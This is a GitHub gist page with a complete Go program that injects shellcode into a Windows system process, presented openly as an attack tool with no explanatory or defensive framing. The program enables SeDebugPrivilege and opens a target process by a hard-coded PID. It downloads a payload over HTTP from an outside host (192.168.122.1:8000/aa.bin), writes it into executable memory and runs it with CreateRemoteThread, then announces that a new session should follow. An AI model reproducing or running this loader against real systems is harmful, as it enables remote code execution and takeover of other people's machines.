-
-
Save audibleblink/28da3ac8aea5a695fc01eaae821e208d to your computer and use it in GitHub Desktop.
Inject shellcode in a system process, leveraging SeDebugPrivilege
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
package main | |
import ( | |
"io/ioutil" | |
"log" | |
"net/http" | |
"os" | |
"runtime" | |
"syscall" | |
"unsafe" | |
"github.com/Microsoft/go-winio" | |
) | |
const ( | |
PROCESS_ALL_ACCESS = syscall.STANDARD_RIGHTS_REQUIRED | syscall.SYNCHRONIZE | 0xfff | |
MEM_COMMIT = 0x001000 | |
MEM_RESERVE = 0x002000 | |
) | |
var ( | |
kernel32 = syscall.MustLoadDLL("kernel32.dll") | |
procVirtualAllocEx = kernel32.MustFindProc("VirtualAllocEx") | |
procWriteProcessMemory = kernel32.MustFindProc("WriteProcessMemory") | |
procCreateRemoteThread = kernel32.MustFindProc("CreateRemoteThread") | |
pid = 1040 | |
) | |
func virtualAllocEx(process syscall.Handle, addr uintptr, size, allocType, protect uint32) (uintptr, error) { | |
r1, _, e1 := procVirtualAllocEx.Call( | |
uintptr(process), | |
addr, | |
uintptr(size), | |
uintptr(allocType), | |
uintptr(protect)) | |
if int(r1) == 0 { | |
return r1, os.NewSyscallError("VirtualAllocEx", e1) | |
} | |
return r1, nil | |
} | |
func writeProcessMemory(process syscall.Handle, addr uintptr, buf unsafe.Pointer, size uint32) (uint32, error) { | |
var nLength uint32 | |
r1, _, e1 := procWriteProcessMemory.Call( | |
uintptr(process), | |
addr, | |
uintptr(buf), | |
uintptr(size), | |
uintptr(unsafe.Pointer(&nLength))) | |
if int(r1) == 0 { | |
return nLength, os.NewSyscallError("WriteProcessMemory", e1) | |
} | |
return nLength, nil | |
} | |
func createRemoteThread(process syscall.Handle, sa *syscall.SecurityAttributes, stackSize uint32, startAddress, parameter uintptr, creationFlags uint32) (syscall.Handle, uint32, error) { | |
var threadID uint32 | |
r1, _, e1 := procCreateRemoteThread.Call( | |
uintptr(process), | |
uintptr(unsafe.Pointer(sa)), | |
uintptr(stackSize), | |
startAddress, | |
parameter, | |
uintptr(creationFlags), | |
uintptr(unsafe.Pointer(&threadID))) | |
runtime.KeepAlive(sa) | |
if int(r1) == 0 { | |
return syscall.InvalidHandle, 0, os.NewSyscallError("CreateRemoteThread", e1) | |
} | |
return syscall.Handle(r1), threadID, nil | |
} | |
func magic() (err error) { | |
// OpenProcess | |
handle, err := syscall.OpenProcess(PROCESS_ALL_ACCESS, true, uint32(pid)) | |
if err != nil { | |
return | |
} | |
r, err := http.Get("http://192.168.122.1:8000/aa.bin") | |
if err != nil { | |
return | |
} | |
shellcode, err := ioutil.ReadAll(r.Body) | |
if err != nil { | |
return | |
} | |
log.Printf("[*] Opened process %d\n", pid) | |
hostingAddr, err := virtualAllocEx(handle, 0, uint32(len(shellcode)), MEM_COMMIT|MEM_RESERVE, syscall.PAGE_EXECUTE_READWRITE) | |
if err != nil { | |
return err | |
} | |
log.Printf("[*] Allocated memory at 0x%08x\n", hostingAddr) | |
_, err = writeProcessMemory(handle, hostingAddr, unsafe.Pointer(&shellcode[0]), uint32(len(shellcode))) | |
if err != nil { | |
return err | |
} | |
log.Printf("[*] Wrote shellcode at 0x%08x\n", hostingAddr) | |
attr := new(syscall.SecurityAttributes) | |
_, _, err = createRemoteThread(handle, attr, 0, uintptr(hostingAddr), 0, 0) | |
if err != nil { | |
return err | |
} | |
log.Println("[*] Remote thread started, expect a new session soon.") | |
return | |
} | |
func main() { | |
winio.RunWithPrivilege("SeDebugPrivilege", magic) | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment